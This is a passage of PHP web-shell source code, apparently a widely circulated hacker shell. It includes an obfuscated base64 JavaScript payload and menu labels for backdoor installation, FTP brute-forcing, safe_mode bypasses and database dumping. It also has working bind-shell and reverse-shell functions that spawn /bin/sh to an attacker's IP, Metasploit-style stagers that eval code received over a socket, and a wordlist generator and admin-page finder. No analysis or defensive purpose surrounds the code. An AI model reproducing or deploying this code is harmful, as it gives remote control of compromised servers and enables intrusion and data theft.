header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
echo(utf8_encode("<?xml version='1.0' encoding='UTF-8' ?>"));
echo("<r00t>");
foreach($cmdlist as $v){
$mot = @substr($v,0,@strlen($cmd));
if($mot == strtolower($cmd)){
echo("<option>". $v . "</option>");
}
}
echo("</r00t>");
die();
}
if(isset($_GET['js'])){
Header("content-type: application/x-javascript");
echo 'var rhost = "'.$_SERVER["PHP_SELF"].'";';
echo base64_decode('dmFyIGNoYXJzZXQgPSBuZXcgQXJyYXkoJ2EnLCdiJywnYycsJ2QnLCdlJywnZicsJ2cnLCdoJywnaScsJ2onLCdrJywnbCcsJ20nLCduJywnbycsJ3AnLCdxJywncicsJ3MnLCd0JywndScsJ3YnLCd3JywneCcsJ3knLCd6JywnQScsJ0InLCdDJywnRCcsJ0UnLCdGJywnRycsJ0gnLCdJJywnSicsJ0snLCdMJywnTScsJ04nLCdPJywnUCcsJ1EnLCdSJywnUycsJ1QnLCdVJywnVicsJ1cnLCdYJywnWScsJ1onLCcwJywnMScsJzInLCczJywnNCcsJzUnLCc2JywnNycsJzgnLCc5JywnficsJ2AnLCchJywnQCcsJyMnLCckJywnJScsJ14nLCcmJywnKicsJygnLCcpJywnLScsJ18nLCd8JywnLycsJzsnLCc6JywnLicsJysnLCc9JywnPCcsJz4nLCc/JywnICcsJ1wiJywnXCcnKTsNCmZ1bmN0aW9uIGdlbmVyYXRlKCl7DQp2YXIgTWluID0gcGFyc2VJbnQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ01pblBhc3N3ZCcpLnZhbHVlKTsNCnZhciBNYXggPSBwYXJzZUludChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnTWF4UGFzc3dkJykudmFsdWUpICsgMTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjcmFja19wYXNzd3JkbGlzdCcpLnZhbHVlID0gJyc7DQpmb3IoTWluOyBNaW4gPCBNYXg7ICsrTWluKQ0KcmVjdXJzZShNaW4sIDAsICcnKTsNCn0NCmZ1bmN0aW9uIHJlY3Vyc2Uod2lkdGgsIHBvc2l0aW9uLCBiYXNlX3N0cmluZyl7DQogICAgZm9yKHZhciBpID0gMDsgaSA8IGNoYXJzZXQubGVuZ3RoOyArK2kpew0KICAgICAgIGlmKHBvc2l0aW9uICA8IHdpZHRoIC0gMSkgeyByZWN1cnNlKHdpZHRoLCBwb3NpdGlvbiArIDEsIGJhc2Vfc3RyaW5nICsgY2hhcnNldFtpXSk7IH0NCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NyYWNrX3Bhc3N3cmRsaXN0JykudmFsdWUgKz0gYmFzZV9zdHJpbmcgKyBjaGFyc2V0W2ldICsgJ1xuJzsNCiAgICB9DQp9DQpmdW5jdGlvbiBnZXRYTUxIVFRQKCl7DQp2YXIgeGhyPW51bGw7DQppZih3aW5kb3cuWE1MSHR0cFJlcXVlc3QpDQp4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCmVsc2UgaWYod2luZG93LkFjdGl2ZVhPYmplY3Qpew0KdHJ5IHsNCnhociA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuWE1MSFRUUCIpOw0KfSBjYXRjaCAoZSkgew0KdHJ5IHsNCnhociA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOw0KfSBjYXRjaCAoZTEpIHsNCnhociA9IG51bGw7DQogIH0NCiB9DQp9DQpyZXR1cm4geGhyOw0KfQ0KZnVuY3Rpb24gQXV0b0NvbXBsaXRlKGNtZCkNCnsNCgl2YXIgeGhyID0gZ2V0WE1MSFRUUCgpOw0KCXZhciBwYXJhbWV0cmUgPSAibGlzdD0iICsgY21kOw0KICAgIHhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsgaGFuZGxlSHR0cFJlc3BvbnNlKHhocik7IH07DQogICAgeGhyLm9wZW4oIlBPU1QiLCByaG9zdCwgdHJ1ZSk7DQoJeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgIHhoci5zZW5kKHBhcmFtZXRyZSk7DQp9DQpmdW5jdGlvbiBoYW5kbGVIdHRwUmVzcG9uc2UoeGhyKXsNCmlmKHhoci5yZWFkeVN0YXRlID09IDQgJiYgeGhyLnN0YXR1cyA9PSAyMDApew0KCXZhciBEYXRhPSIiOw0KCXZhciBqPTA7DQoJdmFyIGRvY1hNTD0geGhyLnJlc3BvbnNlWE1MOw0KCXZhciBpdGVtcyA9IGRvY1hNTC5nZXRFbGVtZW50c0J5VGFnTmFtZSgib3B0aW9uIikNCglmb3IgKGk9MDtpPGl0ZW1zLmxlbmd0aDtpKyspew0KCQlEYXRhICs9ICI8b3B0aW9uPiIgKyBpdGVtcy5pdGVtKGkpLmZpcnN0Q2hpbGQuZGF0YSArICI8L29wdGlvbj4iIDsNCgkJaiArPSAxOw0KCX0NCglpZihqID4gMTApeyBqID0gMTA7IH0NCglpZihEYXRhICE9ICIiKXsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnSW5mb0J1bGwnKS5pbm5lckhUTUw9ICc8c2VsZWN0IGlkPUF1dG9Db21wbGl0ZSBuYW1lPUF1dG9Db21wbGl0ZSBzaXplPScgKyBqICsgJyBvbmNsaWNrPSJJbnNlcnR2YWx1ZSh0aGlzLnZhbHVlKTsiPicgKyBEYXRhICsgJzwvc2VsZWN0Pic7DQoJfWVsc2V7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0F1dG9Db21wbGl0ZScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoJfQ0KIH0NCn0NCmZ1bmN0aW9uIEluc2VydHZhbHVlKHYpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3pvbmV0eHQnKS52YWx1ZSA9IHY7DQp9');
die();
}
if(isset($_POST['win_drivers'])){$d = $_POST['win_drivers'];}
if(isset($_POST['dir'])){$d = $_POST['dir'];}
$language='eng';
$lang=array(
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_butt0' =>'Connexion',
'eng_text9' =>'Bind/back to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Netsploit',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'FTP-bruteforce',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'SSH/FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'FTP client',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text102'=>'Mailer',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subject',
'eng_butt15'=>'Send',
'eng_butt16'=>'Create',
'eng_butt17'=>'Install Backdoor',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text128'=>'Copy from',
'eng_text129'=>'Data',
'eng_text131'=>'back-connect (cmd.exe)',
'eng_text132'=>'Proxy',
'eng_text133'=>'reDuh http Tunneling',
'eng_text134'=>'SSH-server:port',
'eng_text135'=>'SSH client',
'eng_text136' =>'Bind/back to cmd.exe',
'eng_text137' =>'Proxy',
'eng_text138'=>'Useful',
'eng_text139'=>'Dangerous',
'eng_text140'=>'Metasploit (Meterpreter)',
'eng_text141'=>'Mode',
'eng_text142'=>'Backdoor',
'eng_text143'=>'Show Server Security Information',
'eng_text144'=>'Show processes list',
);

$ftypes  = array(
  "html"     => array("html","htm","shtml"),
  "txt"      => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  "exe"      => array("sh","install","bat","cmd"),
  "ini"      => array("ini","inf","conf"),
  "code"     => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  "img"      => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  "sdb"      => array("sdb"),
  "phpsess"  => array("sess"),
  "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=ffff50>","</font>"),
  array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  array("\.gz$",1,"<font color=#C082FF>","</font>"),
  array("\.tar$",1,"<font color=#C082FF>","</font>"),
  array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  array("\.zip$",1,"<font color=#C082FF>","</font>"),
  array("\.rar$",1,"<font color=#C082FF>","</font>"),
  array("\.php$",1,"<font color=#C0C0C0>","</font>"),
  array("\.php3$",1,"<font color=#C0C0C0>","</font>"),
  array("\.php4$",1,"<font color=#C0C0C0>","</font>"),
  array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  array("\.png$",1,"<font color=#00FFFF>","</font>"),
  array("\.htm$",1,"<font color=#00CCFC>","</font>"),
  array("\.html$",1,"<font color=#00CCFC>","</font>"),
  array("\.txt$",1,"<font color=#FFCCFC>","</font>")
);
function tmpdir(){
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
return '.';
}
if (!function_exists("fs_move_obj")){
function fs_move_obj($d,$t) {
  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  if (is_dir($d)) {
    if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
    if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
    return fs_move_dir($d,$t);
  }
  elseif (is_file($d)) {
    if(copy($d,$t)) {return unlink($d);}
    else {unlink($t); return FALSE;}
  }
  else {return FALSE;}
 }
}
if (!function_exists("fs_rmdir")){
function fs_rmdir($d) {
  $h = opendir($d);
  while (($o = readdir($h)) !== FALSE) {
    if (($o != ".") and ($o != "..")) {
      if (!is_dir($d.$o)) {unlink($d.$o);}
      else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
    }
  }
  closedir($h);
  rmdir($d);
  return !is_dir($d);
 }
}
if (!function_exists("fs_rmobj")){
function fs_rmobj($o) {
  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  if (is_dir($o)) {
    if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
    return fs_rmdir($o);
  }
  elseif (is_file($o)) {return unlink($o);}
  else {return FALSE;}
 }
}
if (!function_exists("view_size")){
function view_size($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
    elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
    elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
    else {$size = $size . " B";}
    return $size;
   }
 }
}
if (!function_exists("tabsort")){
function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms")){
function view_perms($mode) {
  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  else {$type = "?";}
  $owner["read"] = ($mode & 00400)?"r":"-";
  $owner["write"] = ($mode & 00200)?"w":"-";
  $owner["execute"] = ($mode & 00100)?"x":"-";
  $group["read"] = ($mode & 00040)?"r":"-";
  $group["write"] = ($mode & 00020)?"w":"-";
  $group["execute"] = ($mode & 00010)?"x":"-";
  $world["read"] = ($mode & 00004)?"r":"-";
  $world["write"] = ($mode & 00002)? "w":"-";
  $world["execute"] = ($mode & 00001)?"x":"-";
  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  return $type.join("",$owner).join("",$group).join("",$world);
 }
}
if (!function_exists("parse_perms")){
function parse_perms($mode) {
  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  else {$t = "?";}
  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
 }
}
if (!function_exists("parsesort")){
function parsesort($sort) {
  $one = intval($sort);
  $second = substr($sort,-1);
  if ($second != "d") {$second = "a";}
  return array($one,$second);
 }
}
if (!function_exists("view_perms_color")){
function view_perms_color($o) {
  if (!is_readable($o)) {return "<label class=\"table_list\" style=\"color:red;\">".view_perms(fileperms($o))."</label>";}
  elseif (!is_writable($o)) {return "<label class=\"table_list\" style=\"color:white;\">".view_perms(fileperms($o))."</label>";}
  else {return "<label class=\"table_list\" style=\"color:#00ff00;\">".view_perms(fileperms($o))."</label>";}
 }
}
if (!function_exists("str2mini")){
function str2mini($content,$len) {
  if (strlen($content) > $len) {
    $len = ceil($len/2) - 2;
    return substr($content, 0,$len)."...".substr($content,-$len);
  } else {return $content;}
 }
}
if (!function_exists("strips")){
function strips(&$arr,$k="") {
  if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  else { $arr = stripslashes($arr); }
 }
}
foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
if (!function_exists("PHPBind")){
function PHPBind($p){
$port=$p;
$NOSBP=@ini_get('disable_functions');
if(!empty($NOSBP)){
$NOSBP=preg_replace('/[, ]+/', ',', $NOSBP);
$NOSBP=explode(',', $NOSBP);
$NOSBP=array_map('trim', $NOSBP);
}else{
$NOSBP=array();
}
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,$NOSBP)){
$sock=@$scl($port);
}else{
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
}
$msgsock=@socket_accept($sock);
@socket_close($sock);
$o = "Successfully opened bind shell\n";
@socket_write($msgsock,$o,strlen($o));
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)){
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;}
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$c=$c." 2>&1\n";
$ukiHIq='is_callable';
$UyEHJw='in_array';
if($ukiHIq('system')and!$UyEHJw('system',$NOSBP)){
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
}else
if($ukiHIq('exec')and!$UyEHJw('exec',$NOSBP)){
$o=array();
exec($c,$o);
$o=join(chr(10),$o).chr(10);
}else
if($ukiHIq('passthru')and!$UyEHJw('passthru',$NOSBP)){
ob_start();
passthru($c);
$o=ob_get_contents();
ob_end_clean();
}else
if($ukiHIq('shell_exec')and!$UyEHJw('shell_exec',$NOSBP)){
$o=shell_exec($c);
}else
if($ukiHIq('proc_open')and!$UyEHJw('proc_open',$NOSBP)){
$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
$o=NULL;
while(!feof($pipes[1])){
$o.=fread($pipes[1],1024);
}
@proc_close($handle);
}else
if($ukiHIq('popen')and!$UyEHJw('popen',$NOSBP)){
$fp=popen($c,'r');
$o=NULL;
if(is_resource($fp)){
while(!feof($fp)){
$o.=fread($fp,1024);
 }
}
@pclose($fp);
}else{
$o=0;
 }
}
@socket_write($msgsock,$o,strlen($o));
}
@socket_close($msgsock);
 }
}
if (!function_exists("LinuxPHPBack")){
function LinuxPHPBack($IpAdr, $p){
$ip = $IpAdr;
$port = $p;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) { printit("ERROR: Can't fork"); exit(1);}
    if ($pid) { exit(0); }
	if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1);}
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
    if (feof($sock)) { printit("ERROR: Shell connection terminated"); break;}
    if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break;}
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
    if (!$daemon) {print "$string\n";}
  }
 }
}
if (!function_exists("PHPBack")){
function PHPBack($ip, $p){
$ipaddr=$ip;
$port=$p;
$dis=@ini_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
if(!function_exists('Fcjhirryju')){
function Fcjhirryju($c){
global $dis;
$c=$c." 2>&1\n";
$ROikyq='is_callable';
$RYxxhhL='in_array';
if($ROikyq('shell_exec')and!$RYxxhhL('shell_exec',$dis)){
$o=shell_exec($c);
}else
if($ROikyq('passthru')and!$RYxxhhL('passthru',$dis)){
ob_start();
passthru($c);
$o=ob_get_contents();
ob_end_clean();
}else
if($ROikyq('popen')and!$RYxxhhL('popen',$dis)){
$fp=popen($c,'r');
$o=NULL;
if(is_resource($fp)){
while(!feof($fp)){
$o.=fread($fp,1024);
}
}
@pclose($fp);
}else
if($ROikyq('exec')and!$RYxxhhL('exec',$dis)){
$o=array();
exec($c,$o);
$o=join(chr(10),$o).chr(10);
}else
if($ROikyq('proc_open')and!$RYxxhhL('proc_open',$dis)){
$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
$o=NULL;
while(!feof($pipes[1])){
$o.=fread($pipes[1],1024);
}
@proc_close($handle);
}elseif($ROikyq('system')and!$RYxxhhL('system',$dis)){
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
}else{
$o=0;
}
return $o;
 }
}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=@fsockopen($ipaddr,$port);
fwrite($s,"Successfully opened reverse shell to $ipaddr:$port\n");
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=Fcjhirryju(substr($c,0,-1));
if($out===false){
fwrite($s,$nofuncs);
break;
 }
}
fwrite($s,$out);
}
fclose($s);
}else{
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
while($c=@socket_read($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=Fcjhirryju(substr($c,0,-1));
if($out===false){
@socket_write($s,$nofuncs);
break;
 }
}
@socket_write($s,$out,strlen($out));
}
@socket_close($s);
  }
 }
}
if (!function_exists("MetaBind_tcp")){
function MetaBind_tcp($ipaddr, $port){
if (is_callable('stream_socket_server')) {
	$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
	if (!$srvsock) { die(); }
	$s = stream_socket_accept($srvsock, -1);
	$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
	$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	$s_type = 'socket';
} elseif (is_callable('socket_create')) {
	$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	$res = socket_bind($srvsock, $ipaddr, $port);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	$s_type = 'socket';
} else {
	die();
}
if (!$s) { die(); }

switch ($s_type) { 
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) { 
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
 }
}
if (!function_exists("MetaReverse_tcp")){
function MetaReverse_tcp($ip, $port){
if (FALSE !== strpos($ip, ":")) {
	$ip = "[". $ip ."]";
}
if (($f = 'stream_socket_client') && is_callable($f)) {
	$s = $f("tcp://{$ip}:{$port}");
	$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
	$s = $f($ip, $port);
	$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
	$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
	$res = @socket_connect($s, $ip, $port);
	if (!$res) { die(); }
	$s_type = 'socket';
} else {
	die('no socket funcs');
}
if (!$s) { die('no socket'); }

switch ($s_type) { 
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) { 
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
 }
}
if (!function_exists("MailHeader")){
function MailHeader($from, $name){
$headers = "MIME-Version: 1.0 \n";
$headers .= "Content-type: text/html; charset=iso-8859-1 \n";
$headers .= "From: $name<$from>  \n";
$headers .= "Disposition-Notification-To: $from  \n";
$headers .= "X-Priority: 1 \n";
$headers .= "X-MSMail-Priority: High \n";
return $headers;
 }
}
if (!function_exists("dicgenerator")){
function dicgenerator($width, $position, $base_string, $output){
    global $charset, $charset_length;
    for($i = 0; $i < $charset_length; ++$i){
       if($position  < $width - 1) { dicgenerator($width, $position + 1, $base_string . $charset[$i], $output); }
		$fp = fopen($output, "a+"); 
		fwrite ($fp, $base_string . $charset[$i]."\n");
		fclose ($fp);
    }
 }
}
if (!function_exists("admfind")){
function admfind($url){
$adminlocales = array('ftp','admin/','administrator/','administrateur','moderator/','webadmin/','adminarea/',
'bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','ccms/',
'ccms/login.php','ccms/index.php','maintenance/','webmaster/','configuration/','configure/',
'websvn/','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration/',
'administration.php','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/',
'myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/',
'Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html',
'administr8/','administr8.asp','administratie/','admins/','admins.php','admins.asp','admins.html',
'administrivia/','Database_Administration/','useradmin/','sysadmins/','admin1/','system-administration/',
'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','sys-admin/','panel/',
